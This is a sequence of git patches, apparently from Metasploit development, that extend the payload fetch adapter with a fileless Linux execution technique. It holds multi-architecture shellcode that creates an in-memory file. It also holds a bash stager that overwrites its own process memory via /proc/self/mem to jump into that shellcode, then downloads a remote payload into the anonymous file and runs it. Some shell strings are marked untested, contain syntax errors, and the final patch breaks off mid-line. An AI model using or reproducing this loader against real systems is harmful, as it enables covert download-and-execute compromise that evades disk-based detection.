From ac052f69cc80d869ddc9b54f7a89db815ffdc8ca Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 28 Mar 2025 15:06:36 +0100 Subject: [PATCH 01/22] Rebase, adding sh option --- lib/msf/core/payload/adapter/fetch.rb | 189 ++++++++++++++++++++++---- 1 file changed, 165 insertions(+), 24 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 63ae2238c8afc..d0cbf257155e5 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -256,7 +256,7 @@ def _execute_win(get_file_cmd) end def _execute_nix(get_file_cmd) - return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash' + return _generate_fileless_bash(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' @@ -282,30 +282,171 @@ def _generate_certutil_command _execute_add(get_file_cmd) end - # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor - def _generate_fileless(get_file_cmd) - # get list of all $USER's processes - cmd = 'FOUND=0' - cmd << ";for i in $(ps -u $USER | awk '{print $1}')" - # already found anonymous file where we can write - cmd << '; do if [ $FOUND -eq 0 ]' - - # look for every symbolic link with write rwx permissions - # if found one, try to download payload into the anonymous file - # and execute it - cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' - cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if $(#{get_file_cmd} >/dev/null)" - cmd << '; then $f' - cmd << '; FOUND=1' - cmd << '; break' - cmd << '; fi' - cmd << '; fi' - cmd << '; done' - cmd << '; fi' - cmd << '; done' + def _generate_first_stage_shellcode + case module_info['AdaptedArch'] + when 'x64' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm = %( + start: + xor rsi, rsi + push rsi + push rsp + pop rdi + mov rax, 0xfffffffffffffec1 + neg rax + syscall + mov rdi,rax + mov al, 0x4d + syscall + push 0x22 + pop rax + syscall + + ) + payload = Metasm::Shellcode.assemble(Metasm::X64.new, in_memory_loader_asm).encode_string + when 'x86' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm= %( + xor ecx, ecx + push ecx + lea ebx, [esp] + inc ecx + mov eax, 0xfffffe9c + neg eax + int 0x80 + mov ebx, eax + mov al, 0x5d + int 0x80 + mov al, 0x1d + int 0x80 + ) + payload = Metasm::Shellcode.assemble(Metasm::X86.new, in_memory_loader_asm).encode_string + when 'aarch64' + # fd = memfd_create() + # ftruncate(fd, null) + # pid = getpid() + # kill(pid,SIGSTOP) + in_memory_loader_asm = [ + 0x0a0080d2, #0x1000: mov x10, #0 0x0a0080d2 + 0xea0300f9, #0x1004: str x10, [sp] 0xea0300f9 + 0xe0030091, #0x1008: mov x0, sp 0xe0030091 + 0x210080d2, #0x100c: mov x1, #1 0x210080d2 + 0xe82280d2, #0x1010: mov x8, #0x117 0xe82280d2 + 0x010000d4, #0x1014: svc #0 0x010000d4 + 0xc80580d2, #0x1018: mov x8, #0x2e 0xc80580d2 + 0x010000d4, #0x101c: svc #0 0x010000d4 + 0x881580d2, #0x1020: mov x8, #0xac 0x881580d2 + 0x010000d4, #0x1024: svc #0 0x010000d4 + 0x610280d2, #0x1028: mov x1, #0x13 0x610280d2 + 0x281080d2, #0x102c: mov x8, #0x81 0x281080d2 + 0x010000d4, #0x1030: svc #0 0x010000d4 + ] + payload = in_memory_loader_asm.pack("N*") + when 'armle' + in_memory_loader_asm = [ + 0x0020a0e3, #0x1000: mov r2, #0 0x0020a0e3 + 0x04202de5, #0x1004: str r2, [sp, #-4]! 0x04202de5 + 0x0d00a0e1, #0x1008: mov r0, sp 0x0d00a0e1 + 0x0110a0e3, #0x100c: mov r1, #1 0x0110a0e3 + 0x8370a0e3, #0x1010: mov r7, #0x83 0x8370a0e3 + 0xfe7087e2, #0x1014: add r7, r7, #0xfe 0xfe7087e2 + 0x000000ef, #0x1018: svc #0 0x000000ef + 0x5d70a0e3, #0x101c: mov r7, #0x5d 0x5d70a0e3 + 0x000000ef, #0x1020: svc #0 0x000000ef + 0x1d70a0e3, #0x1024: mov r7, #0x1d 0x1d70a0e3 + 0x000000ef, #0x1028: svc #0 0x000000ef - cmd + ] + payload = in_memory_loader_asm.pack("V*") + when 'armbe' + # fd = memfd_create() + # ftruncate(fd, null) + # pause() + in_memory_loader_asm = [ + 0xe3a02000, #0x1000: mov r2, #0 0xe3a02000 + 0xe52d2004, #0x1004: str r2, [sp, #-4]! 0xe52d2004 + 0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d + 0xe3a01001, #0x100c: mov r1, #1 0xe3a01001 + 0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083 + 0xe28770fe, #0x1014: add r7, r7, #0xfe 0xe28770fe + 0xef000000, #0x1018: svc #0 0xef000000 + 0xe3a0705d, #0x101c: mov r7, #0x5d 0xe3a0705d + 0xef000000, #0x1020: svc #0 0xef000000 + 0xe3a0701d, #0x1024: mov r7, #0x1d 0xe3a0701d + 0xef000000, #0x1028: svc #0 0xef000000 + + ] + payload = in_memory_loader_asm.pack("V*") + when 'mips64' + puts 'Not implemented yet' + when 'mipsbe' + puts 'Not implemented yet' + when 'mipsle' + puts 'Not implemented yet' + when 'ppc' + puts 'Not implemented yet' + when 'ppc64' + puts 'Not implemented yet' + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') + end + Base64.strict_encode64(payload) + end + + def _generate_jmp_instruction + # + # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses + # + case module_info['AdaptedArch'] + when 'x64' + %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + when 'x86' + %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + when 'aarch64' + %^"4000005800001fd6"$(echo $(printf %16x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + when 'armle' + %^$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,3,2)}')"7"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,2,1)}')"0"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,1,1)}')"e3"^ + when 'armbe' + %^"e30"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,1,1)}')"7"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,2,1)}')""$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,3,2)}')^ + else + fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') + end + end + + # Original Idea: The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor + # New idea: use /proc/*/mem to write shellcode stager into bash process and create anonymous handle on-fly, then search for that handle and use same approach as original idea + def _generate_fileless_bash(get_file_cmd) + stage_cmd = % + stage_cmd << %(jmp=#{_generate_jmp_instruction};) + stage_cmd << "sc=$(base64 -d <<< #{_generate_first_stage_shellcode});" + stage_cmd << % + stage_cmd << 'read syscall_info < /proc/self/syscall;' + stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$vdso_addr <&3 >/dev/null 2>&1;' + stage_cmd << 'printf $sc >&3;' + stage_cmd << 'exec 3>&-;' + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' + stage_cmd << 'printf $jmp >&3;' + + cmd = "echo '#{Base64.strict_encode64(stage_cmd)}' | base64 -d | bash & " + cmd << 'cd /proc/$!;' + cmd << 'sleep 1;' #adding short pause to give process time to load file handle + cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' + + cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' + cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' + cmd << "then if $(#{get_file_cmd} >/dev/null);" + cmd << 'then $f;FOUND=1;break;' + cmd << 'fi;' + cmd << 'fi;' + cmd << 'done;' + cmd << 'fi;' end # same idea as _generate_fileless function, but force creating anonymous file handle From 4116ae1c1940a243e64f4362a9e0c36657594960 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 28 Mar 2025 15:07:37 +0100 Subject: [PATCH 02/22] Fix sh option --- lib/msf/core/payload/adapter/fetch/linux_options.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index ae5e54d6a4f6c..13deb057c6a65 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -8,6 +8,7 @@ def initialize(info = {}) Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none']) + ] ) end From a7b8c052fed887f8a642718481c8e873fb9d2e67 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 31 Mar 2025 14:40:47 +0200 Subject: [PATCH 03/22] Adding remaining architectures, untested --- lib/msf/core/payload/adapter/fetch.rb | 102 +++++++++++++++++- .../payload/adapter/fetch/linux_options.rb | 1 - 2 files changed, 97 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index d0cbf257155e5..917c754b2b017 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -382,15 +382,95 @@ def _generate_first_stage_shellcode ] payload = in_memory_loader_asm.pack("V*") when 'mips64' - puts 'Not implemented yet' + in_memory_loader_asm = [ + 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af + 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 + 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 + 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 + 0x27282003, #0x1010: not $a1, $t9 0x27282003 + 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 + 0x0c000000, #0x1018: syscall 0x0c000000 + 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 + 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 + 0x0c000000, #0x1024: syscall 0x0c000000 + 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 + 0x0c000000, #0x102c: syscall 0x0c000000 + ] + payload = in_memory_loader_asm.pack('V*') when 'mipsbe' - puts 'Not implemented yet' + in_memory_loader_asm = [ + 0xafa0fffc, #0x1000: sw $zero, -4($sp) 0xafa0fffc + 0x27bdfffc, #0x1004: addiu $sp, $sp, -4 0x27bdfffc + 0x03a02020, #0x1008: add $a0, $sp, $zero 0x03a02020 + 0x2419fffe, #0x100c: addiu $t9, $zero, -2 0x2419fffe + 0x03202827, #0x1010: not $a1, $t9 0x03202827 + 0x24021102, #0x1014: addiu $v0, $zero, 0x1102 0x24021102 + 0x0000000c, #0x1018: syscall 0x0000000c + 0x03e02825, #0x101c: move $a1, $ra 0x03e02825 + 0x24020ffd, #0x1020: addiu $v0, $zero, 0xffd 0x24020ffd + 0x0000000c, #0x1024: syscall 0x0000000c + 0x24020fbd, #0x1028: addiu $v0, $zero, 0xfbd 0x24020fbd + 0x0000000c, #0x102c: syscall 0x0000000c + ] + payload = in_memory_loader_asm.pack('V*') when 'mipsle' - puts 'Not implemented yet' + in_memory_loader_asm = [ + 0xfcffa0af, #0x1000: sw $zero, -4($sp) 0xfcffa0af + 0xfcffbd27, #0x1004: addiu $sp, $sp, -4 0xfcffbd27 + 0x2020a003, #0x1008: add $a0, $sp, $zero 0x2020a003 + 0xfeff1924, #0x100c: addiu $t9, $zero, -2 0xfeff1924 + 0x27282003, #0x1010: not $a1, $t9 0x27282003 + 0x02110224, #0x1014: addiu $v0, $zero, 0x1102 0x02110224 + 0x0c000000, #0x1018: syscall 0x0c000000 + 0x2528e003, #0x101c: move $a1, $ra 0x2528e003 + 0xfd0f0224, #0x1020: addiu $v0, $zero, 0xffd 0xfd0f0224 + 0x0c000000, #0x1024: syscall 0x0c000000 + 0xbd0f0224, #0x1028: addiu $v0, $zero, 0xfbd 0xbd0f0224 + 0x0c000000, #0x102c: syscall 0x0c000000 + ] + payload = in_memory_loader_asm.pack('V*') when 'ppc' - puts 'Not implemented yet' + in_memory_loader_asm = [ + 0x0000c039, #0x1000: li r14, 0 0x0000c039 + 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 + 0x780b237c, #0x1008: mr r3, r1 0x780b237c + 0x00008038, #0x100c: li r4, 0 0x00008038 + 0x68010038, #0x1010: li r0, 0x168 0x68010038 + 0x02000044, #0x1014: sc 0x02000044 + 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 + 0x02000044, #0x101c: sc 0x02000044 + 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 + 0x02000044, #0x1024: sc 0x02000044 + ] + payload = in_memory_loader_asm.pack('N*') when 'ppc64' - puts 'Not implemented yet' + in_memory_loader_asm = [ + 0x39c00000, #0x1000: li r14, 0 0x39c00000 + 0x95c10000, #0x1004: stwu r14, 0(r1) 0x95c10000 + 0x7c230b78, #0x1008: mr r3, r1 0x7c230b78 + 0x38800000, #0x100c: li r4, 0 0x38800000 + 0x38000168, #0x1010: li r0, 0x168 0x38000168 + 0x44000002, #0x1014: sc 0x44000002 + 0x3800005d, #0x1018: li r0, 0x5d 0x3800005d + 0x44000002, #0x101c: sc 0x44000002 + 0x3800001d, #0x1020: li r0, 0x1d 0x3800001d + 0x44000002, #0x1024: sc 0x44000002 + ] + payload = in_memory_loader_asm.pack('N*') + when 'ppc64le' + in_memory_loader_asm = [ + 0x0000c039, #0x1000: li r14, 0 0x0000c039 + 0x0000c195, #0x1004: stwu r14, 0(r1) 0x0000c195 + 0x780b237c, #0x1008: mr r3, r1 0x780b237c + 0x00008038, #0x100c: li r4, 0 0x00008038 + 0x68010038, #0x1010: li r0, 0x168 0x68010038 + 0x02000044, #0x1014: sc 0x02000044 + 0x5d000038, #0x1018: li r0, 0x5d 0x5d000038 + 0x02000044, #0x101c: sc 0x02000044 + 0x1d000038, #0x1020: li r0, 0x1d 0x1d000038 + 0x02000044, #0x1024: sc 0x02000044 + ] + payload = in_memory_loader_asm.pack('N*') else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end @@ -412,6 +492,18 @@ def _generate_jmp_instruction %^$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,3,2)}')"7"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,2,1)}')"0"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,1,1)}')"e3"^ when 'armbe' %^"e30"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,1,1)}')"7"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,2,1)}')""$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,3,2)}')^ + when 'mipsle' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + when 'mipsbe' + %^"2409"$(echo (printf %04x $vdso_addr))"0120000800000000"^ + when 'mips64' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ + when 'ppc' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ + when 'ppc64' + %^"3800"$(echo (printf %04x $vdso_addr))"7c0803a64e800020"^ + when 'ppc64le' + %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"0038a603087c2000804e"^ else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index 13deb057c6a65..ae5e54d6a4f6c 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -8,7 +8,6 @@ def initialize(info = {}) Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none']) - ] ) end From 0caf6fb93b8e9fbb49c4545765c0c2d3124841e0 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 1 Apr 2025 09:27:16 +0200 Subject: [PATCH 04/22] Fixing jump instruction for aarch64 --- lib/msf/core/payload/adapter/fetch.rb | 33 ++++++++++++++------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 917c754b2b017..3a150aaec23d7 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -331,19 +331,20 @@ def _generate_first_stage_shellcode # pid = getpid() # kill(pid,SIGSTOP) in_memory_loader_asm = [ - 0x0a0080d2, #0x1000: mov x10, #0 0x0a0080d2 - 0xea0300f9, #0x1004: str x10, [sp] 0xea0300f9 - 0xe0030091, #0x1008: mov x0, sp 0xe0030091 - 0x210080d2, #0x100c: mov x1, #1 0x210080d2 - 0xe82280d2, #0x1010: mov x8, #0x117 0xe82280d2 - 0x010000d4, #0x1014: svc #0 0x010000d4 - 0xc80580d2, #0x1018: mov x8, #0x2e 0xc80580d2 - 0x010000d4, #0x101c: svc #0 0x010000d4 - 0x881580d2, #0x1020: mov x8, #0xac 0x881580d2 - 0x010000d4, #0x1024: svc #0 0x010000d4 - 0x610280d2, #0x1028: mov x1, #0x13 0x610280d2 - 0x281080d2, #0x102c: mov x8, #0x81 0x281080d2 - 0x010000d4, #0x1030: svc #0 0x010000d4 + 0x802888d2, #0x1000: mov x0, #0x4144 0x802888d2 + 0xa088a8f2, #0x1004: movk x0, #0x4445, lsl #16 0xa088a8f2 + 0xe00f1ff8, #0x1008: str x0, [sp, #-0x10]! 0xe00f1ff8 + 0xe0030091, #0x100c: mov x0, sp 0xe0030091 + 0x210001ca, #0x1010: eor x1, x1, x1 0x210001ca + 0xe82280d2, #0x1014: mov x8, #0x117 0xe82280d2 + 0x010000d4, #0x1018: svc #0 0x010000d4 + 0xc80580d2, #0x101c: mov x8, #0x2e 0xc80580d2 + 0x010000d4, #0x1020: svc #0 0x010000d4 + 0x881580d2, #0x1024: mov x8, #0xac 0x881580d2 + 0x010000d4, #0x1028: svc #0 0x010000d4 + 0x610280d2, #0x102c: mov x1, #0x13 0x610280d2 + 0x281080d2, #0x1030: mov x8, #0x81 0x281080d2 + 0x010000d4, #0x1034: svc #0 0x010000d4 ] payload = in_memory_loader_asm.pack("N*") when 'armle' @@ -474,7 +475,7 @@ def _generate_first_stage_shellcode else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end - Base64.strict_encode64(payload) + Base64.encode64(payload) end def _generate_jmp_instruction @@ -487,7 +488,7 @@ def _generate_jmp_instruction when 'x86' %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ when 'aarch64' - %^"4000005800001fd6"$(echo $(printf %16x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armle' %^$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,3,2)}')"7"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,2,1)}')"0"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,1,1)}')"e3"^ when 'armbe' @@ -514,7 +515,7 @@ def _generate_jmp_instruction def _generate_fileless_bash(get_file_cmd) stage_cmd = % stage_cmd << %(jmp=#{_generate_jmp_instruction};) - stage_cmd << "sc=$(base64 -d <<< #{_generate_first_stage_shellcode});" + stage_cmd << "sc=$(echo '#{_generate_first_stage_shellcode}' | base64 -d);" stage_cmd << % stage_cmd << 'read syscall_info < /proc/self/syscall;' stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" From f97691d2220b72a304ff6cefd688e97b34eba49b Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 1 Apr 2025 12:08:01 +0200 Subject: [PATCH 05/22] Fix for lost zero byte in arm64, adding more reliable method for all archs --- lib/msf/core/payload/adapter/fetch.rb | 36 ++++++++++++++------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 3a150aaec23d7..6c169bdaa6095 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -331,20 +331,20 @@ def _generate_first_stage_shellcode # pid = getpid() # kill(pid,SIGSTOP) in_memory_loader_asm = [ - 0x802888d2, #0x1000: mov x0, #0x4144 0x802888d2 - 0xa088a8f2, #0x1004: movk x0, #0x4445, lsl #16 0xa088a8f2 - 0xe00f1ff8, #0x1008: str x0, [sp, #-0x10]! 0xe00f1ff8 - 0xe0030091, #0x100c: mov x0, sp 0xe0030091 - 0x210001ca, #0x1010: eor x1, x1, x1 0x210001ca - 0xe82280d2, #0x1014: mov x8, #0x117 0xe82280d2 - 0x010000d4, #0x1018: svc #0 0x010000d4 - 0xc80580d2, #0x101c: mov x8, #0x2e 0xc80580d2 - 0x010000d4, #0x1020: svc #0 0x010000d4 - 0x881580d2, #0x1024: mov x8, #0xac 0x881580d2 - 0x010000d4, #0x1028: svc #0 0x010000d4 - 0x610280d2, #0x102c: mov x1, #0x13 0x610280d2 - 0x281080d2, #0x1030: mov x8, #0x81 0x281080d2 - 0x010000d4, #0x1034: svc #0 0x010000d4 + 0x000080d2, #0x1000: mov x0, #0 0x000080d2 + 0xe00f1ff8, #0x1004: str x0, [sp, #-0x10]! 0xe00f1ff8 + 0xe0030091, #0x1008: mov x0, sp 0xe0030091 + 0x210001ca, #0x100c: eor x1, x1, x1 0x210001ca + 0xe82280d2, #0x1010: mov x8, #0x117 0xe82280d2 + 0x010000d4, #0x1014: svc #0 0x010000d4 + 0xc80580d2, #0x1018: mov x8, #0x2e 0xc80580d2 + 0x010000d4, #0x101c: svc #0 0x010000d4 + 0x881580d2, #0x1020: mov x8, #0xac 0x881580d2 + 0x010000d4, #0x1024: svc #0 0x010000d4 + 0x610280d2, #0x1028: mov x1, #0x13 0x610280d2 + 0x281080d2, #0x102c: mov x8, #0x81 0x281080d2 + 0x010000d4, #0x1030: svc #0 0x010000d4 + ] payload = in_memory_loader_asm.pack("N*") when 'armle' @@ -475,7 +475,8 @@ def _generate_first_stage_shellcode else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') end - Base64.encode64(payload) + payload.unpack("H*")[0] + #Base64.strict_encode64(payload).gsub(/\n/, '') end def _generate_jmp_instruction @@ -515,8 +516,9 @@ def _generate_jmp_instruction def _generate_fileless_bash(get_file_cmd) stage_cmd = % stage_cmd << %(jmp=#{_generate_jmp_instruction};) - stage_cmd << "sc=$(echo '#{_generate_first_stage_shellcode}' | base64 -d);" + stage_cmd << "sc='#{_generate_first_stage_shellcode}';" stage_cmd << % + stage_cmd << % stage_cmd << 'read syscall_info < /proc/self/syscall;' stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" stage_cmd << 'exec 3>/proc/self/mem;' @@ -527,7 +529,7 @@ def _generate_fileless_bash(get_file_cmd) stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' stage_cmd << 'printf $jmp >&3;' - cmd = "echo '#{Base64.strict_encode64(stage_cmd)}' | base64 -d | bash & " + cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | bash & " cmd << 'cd /proc/$!;' cmd << 'sleep 1;' #adding short pause to give process time to load file handle cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' From 2c2e649db98d8bf278a3f38815426742a05168b4 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 1 Apr 2025 13:39:33 +0200 Subject: [PATCH 06/22] armbe/armle jump instruction update --- lib/msf/core/payload/adapter/fetch.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 6c169bdaa6095..778ca1f3ae26a 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -369,7 +369,7 @@ def _generate_first_stage_shellcode # pause() in_memory_loader_asm = [ 0xe3a02000, #0x1000: mov r2, #0 0xe3a02000 - 0xe52d2004, #0x1004: str r2, [sp, #-4]! 0xe52d2004 + 0xe52d2000, #0x1004: str r2, [sp, #-0] 0xe52d2000 0xe1a0000d, #0x1008: mov r0, sp 0xe1a0000d 0xe3a01001, #0x100c: mov r1, #1 0xe3a01001 0xe3a07083, #0x1010: mov r7, #0x83 0xe3a07083 @@ -491,9 +491,9 @@ def _generate_jmp_instruction when 'aarch64' %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armle' - %^$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,3,2)}')"7"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,2,1)}')"0"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,1,1)}')"e3"^ + %^"e59f2008e12fff12"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ when 'armbe' - %^"e30"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,1,1)}')"7"$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,2,1)}')""$(echo $(printf %04x $vdso_addr) | awk '{print substr($0,3,2)}')^ + %^"08209fe512ff2fe1"$(echo $(printf %04x $vdso_addr))^ when 'mipsle' %^$(echo (printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"09340800200100000000"^ when 'mipsbe' @@ -516,7 +516,7 @@ def _generate_jmp_instruction def _generate_fileless_bash(get_file_cmd) stage_cmd = % stage_cmd << %(jmp=#{_generate_jmp_instruction};) - stage_cmd << "sc='#{_generate_first_stage_shellcode}';" + stage_cmd << %(sc='#{_generate_first_stage_shellcode}';) stage_cmd << % stage_cmd << % stage_cmd << 'read syscall_info < /proc/self/syscall;' From 601657bc979972f5dc69fd46b0b436b4175ee71e Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 1 Apr 2025 18:25:35 +0200 Subject: [PATCH 07/22] armle/armbe shellcode update --- lib/msf/core/payload/adapter/fetch.rb | 46 +++++++++++++-------------- 1 file changed, 22 insertions(+), 24 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 778ca1f3ae26a..cde8619021ee5 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -349,18 +349,17 @@ def _generate_first_stage_shellcode payload = in_memory_loader_asm.pack("N*") when 'armle' in_memory_loader_asm = [ - 0x0020a0e3, #0x1000: mov r2, #0 0x0020a0e3 - 0x04202de5, #0x1004: str r2, [sp, #-4]! 0x04202de5 - 0x0d00a0e1, #0x1008: mov r0, sp 0x0d00a0e1 - 0x0110a0e3, #0x100c: mov r1, #1 0x0110a0e3 - 0x8370a0e3, #0x1010: mov r7, #0x83 0x8370a0e3 - 0xfe7087e2, #0x1014: add r7, r7, #0xfe 0xfe7087e2 - 0x000000ef, #0x1018: svc #0 0x000000ef - 0x5d70a0e3, #0x101c: mov r7, #0x5d 0x5d70a0e3 - 0x000000ef, #0x1020: svc #0 0x000000ef - 0x1d70a0e3, #0x1024: mov r7, #0x1d 0x1d70a0e3 - 0x000000ef, #0x1028: svc #0 0x000000ef - + 0x4ff00002, #0x1000: mov.w r2, #0 0x4ff00002 + 0x4df8042d, #0x1004: str r2, [sp, #-0x4]! 0x4df8042d + 0x6846, #0x1008: mov r0, sp 0x6846 + 0x4ff00101, #0x100a: mov.w r1, #1 0x4ff00101 + 0x4ff08307, #0x100e: mov.w 